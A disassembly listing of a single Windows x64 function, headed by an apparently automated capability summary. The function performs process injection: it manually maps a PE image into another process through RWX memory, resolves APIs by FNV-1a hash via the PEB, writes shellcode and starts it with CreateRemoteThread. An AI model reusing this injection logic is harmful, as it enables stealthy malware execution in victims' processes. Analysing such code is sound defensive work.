Function at 0x140005d30
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Encode data using xor
Get process filename
Hash data using fnv
Inject thread
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x1401cac98]
xor rax, rsp
mov qword [rbp + 0x70], rax
mov r14, qword [rbp + 0x100]
mov r13, rcx
mov ecx, 1
mov byte [rsp + 0x40], r9b
mov rsi, rdx
call fcn.1400251a8
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x140006564
movsxd r15, dword [rsi + 0x3c]
mov eax, 0x8664
add r15, rsi
mov qword [rbp + 0x28], r15
cmp word [r15 + 4], ax
jne 0x140006564
mov r8d, dword [r15 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
mov r12, rax
test rax, rax
je 0x140006564
mov dword [rbp + 0x30], 0
lea rax, [rbp + 0x30]
mov r8d, dword [r15 + 0x50]
mov r9d, 0x40
mov rdx, r12
mov qword [rsp + 0x20], rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140005e97
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140005e97
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005e92
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140005e70
cmp r8d, 0x53b2070f
je 0x140005e9c
test r9d, r9d
jne 0x140005e50
mov rax, qword [rax]
jmp 0x140005e20
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [rbp - 0x60], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140005f47
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140005f47
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005f42
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140005f20
cmp r8d, 0xf8f45725
je 0x140005f4c
test r9d, r9d
jne 0x140005f00
mov rax, qword [rax]
jmp 0x140005ed0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [rbp - 0x58], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140005ff7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140005ff7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140005ff2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140005fd0
cmp r8d, 0x38791528
je 0x140005ffc
test r9d, r9d
jne 0x140005fb0
mov rax, qword [rax]
jmp 0x140005f80
mov ecx, dword [rbx + 0x24]
mov r8, rsi
add rcx, r10
mov qword [rsp + 0x20], 0
movzx edx, word [rcx + r9*2]
mov r9d, 0x1000
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rcx, r13
add rax, r10
mov qword [rbp - 0x30], r14
mov r14, qword [rsp + 0x48]
mov qword [rbp - 0x48], r12
mov rdx, r14
movzx r12d, byte [rbp + 0xf0]
mov qword [rbp - 0x50], rax
mov eax, dword [rbp + 0xf8]
mov dword [rbp - 0x38], eax
mov dword [rbp - 0x28], r12d
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000654f
movzx ebx, word [r15 + 0x14]
xor edi, edi
add rbx, 0x2c
cmp word [r15 + 6], di
je 0x1400060b3
add rbx, r15
mov eax, dword [rbx - 4]
test eax, eax
je 0x1400060a4
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, rsi
add rdx, r14
mov qword [rsp + 0x20], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000654f
movzx eax, word [r15 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140006074
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, r13
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x70], rax
mov rsi, rax
test rax, rax
je 0x14000654f
xor edi, edi
lea r8, [rbp - 0x60]
mov rdx, rax
mov qword [rsp + 0x20], rdi
mov rcx, r13
lea r9d, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140006535
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
mov r15, rax
test rax, rax
je 0x140006535
mov r9d, 0x1000
mov qword [rsp + 0x20], rdi
lea r8, [0x140006590]
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140006506
mov qword [rsp + 0x30], rdi
mov r9, r15
mov dword [rsp + 0x28], edi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140006506
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [rax + rax]
lea rdx, [rbp + 0x20]
mov dword [rbp + 0x20], edi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp + 0x20], 0x103
jne 0x140006564
xorps xmm0, xmm0
mov qword [rsp + 0x20], rdi
mov r9d, 0x40
lea r8, [rbp - 0x20]
mov rdx, rsi
mov rcx, r13
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp]
cmp rbx, 0x404040
je 0x140006506
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x140006190
mov ecx, 0x1400000
call fcn.1400251a8
mov r14, rax
test rax, rax
je 0x140006564
xor edx, edx
mov r8d, 0x1400000
mov rcx, rax
call fcn.14001f790
cmp byte [rsp + 0x40], dil
je 0x140006245
mov rdx, qword [rsp + 0x48]
mov r9d, 0x1000
mov r8, r14
mov qword [rsp + 0x20], rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp byte [rbp + 0xe0], dil
je 0x1400063f8
mov r9, qword [rbp + 0x28]
movzx eax, word [r9 + 0x14]
lea rbx, [r9 + 0x18]
add rbx, rax
cmp word [r9 + 6], di
je 0x1400063f8
mov rsi, qword [rsp + 0x48]
movabs rax, 0xbf9c3678a97f1522
movabs rcx, 0xbf9c576fba681722
movabs r10, 0xc76d190c4c07650c
movabs r11, 0xbf9c570cc81b650c
mov r15, r9
nop dword [rax]
mov r9d, dword [rbx + 8]
test r9d, r9d
je 0x1400063d0
test r12b, r12b
jne 0x140006305
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x60]
mov qword [rsp + 0x68], r10
mov rax, rbx
movdqa xmm0, xmmword [rsp + 0x60]
sub r8, rbx
mov qword [rbp + 0x40], r11
mov qword [rbp + 0x48], r10
pxor xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rsp + 0x60], xmm0
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400062f3
inc rax
test ecx, ecx
jne 0x1400062e0
test edx, edx
je 0x140006397
movabs rcx, 0xbf9c576fba681722
mov qword [rsp + 0x70], rcx
lea r8, [rsp + 0x70]
mov qword [rsp + 0x78], r10
mov rax, rbx
movdqa xmm0, xmmword [rsp + 0x70]
sub r8, rbx
mov qword [rbp + 0x50], r11
mov qword [rbp + 0x58], r10
pxor xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140006346
inc rax
test ecx, ecx
jne 0x140006333
test edx, edx
je 0x140006397
movabs rax, 0xbf9c3463a47e1722
mov qword [rbp - 0x78], r10
mov qword [rbp - 0x80], rax
lea r8, [rbp - 0x80]
movdqa xmm0, xmmword [rbp - 0x80]
mov rax, rbx
mov qword [rbp + 0x60], r11
sub r8, rbx
mov qword [rbp + 0x68], r10
pxor xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp - 0x80], xmm0
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140006393
inc rax
test ecx, ecx
jne 0x140006380
test edx, edx
jne 0x1400063c6
mov edx, dword [rbx + 0xc]
mov r8, r14
add rdx, rsi
mov qword [rsp + 0x20], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movabs r10, 0xc76d190c4c07650c
movabs r11, 0xbf9c570cc81b650c
movabs rcx, 0xbf9c576fba681722
movzx eax, word [r15 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
movabs rax, 0xbf9c3678a97f1522
jne 0x1400062a0
mov rsi, qword [rbp - 0x70]
xor edi, edi
mov r15, qword [rsp + 0x50]
cmp byte [rbp + 0xe8], 0
je 0x1400064be
mov r12, qword [rbp + 0x28]
movzx ebx, word [r12 + 0x14]
add rbx, 0x3c
cmp word [r12 + 6], 0
je 0x140006493
mov r15, qword [rsp + 0x48]
add rbx, r12
mov edx, 0x20
nop dword [rax]
mov ecx, dword [rbx - 0x1c]
test ecx, ecx
je 0x14000647e
mov eax, dword [rbx]
mov dword [rbp + 0x20], 0
test eax, 0x80000000
jbe 0x14000644f
mov r9d, 4
jmp 0x14000645e
test eax, 0x20000000
mov r9d, 2
cmova r9d, edx
mov edx, dword [rbx - 0x18]
lea rax, [rbp + 0x20]
mov r8, rcx
mov qword [rsp + 0x20], rax
add rdx, r15
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edx, 0x20
movzx eax, word [r12 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140006430
mov r15, qword [rsp + 0x50]
movzx eax, word [r12 + 0x14]
xor edi, edi
mov rdx, qword [rsp + 0x48]
mov rcx, r13
mov dword [rbp + 0x28], edi
mov r8d, dword [rax + r12 + 0x24]
lea r9d, [rdi + 2]
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r9d, 0x1000
mov qword [rsp + 0x20], rdi
mov r8, r14
mov rdx, r15
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
jmp 0x140006566
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, r15
jmp 0x140006552
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rsi
jmp 0x140006552
mov rdx, r14
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.14000f4b0
mov rbx, qword [rsp + 0x1d0]
add rsp, 0x180
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret